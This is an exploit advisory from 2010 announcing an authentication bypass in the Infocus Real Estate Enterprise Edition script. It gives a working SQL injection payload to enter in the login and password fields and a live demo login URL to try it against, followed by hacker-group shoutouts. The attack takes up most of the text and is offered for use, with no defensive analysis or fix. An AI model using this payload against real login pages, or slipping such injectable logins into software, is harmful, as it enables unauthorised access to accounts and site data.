Infocus Real Estate Enterprise Edition SQL Injection

`  
  
# Exploit Title:Authentication bypass in Infocus Real Estate Enterprise Edition script  
# Date: 27-apr-2010  
# Author: Sid3^effects  
# Software Link: N/a  
# CVE : []  
# Code : [] ______________________________________________________________________________ Authentication bypass in Infocus Real Estate Enterprise Edition script  
Vendor:www.instantrankingseo.com _______________________Author:Sid3^effects aKa haRi____________________________  
  
  
Description :  
  
Infocus Real Estate Enterprise Edition, is a complete power packed script with tons of powerful features. You can now have your own Real Estate Script similar to 99acres.com, makaan.com or magicbricks.com. The script is very handy and completely customizable. Below are some of the outstanding features of this script.  
  
  
---------------------------------------------------------------------------  
* Authentication bypass:  
  
The following script has authentication bypass.  
  
use ' or 1=1 or ''=' in both login and password.  
  
DEMO URL :http://makaanwakaan.com/login.php  
  
  
  
ShoutZ :  
-------   
---Indian Cyber warriors--Andhra hackers--   
  
Greetz :  
--------  
---*L0rd ÇrusAdêr*---d4rk-blu™® [ICW]---R45C4L idi0th4ck3r---CR4C|< 008---M4n0j--MaYuR--  
  
  
  
  
  
`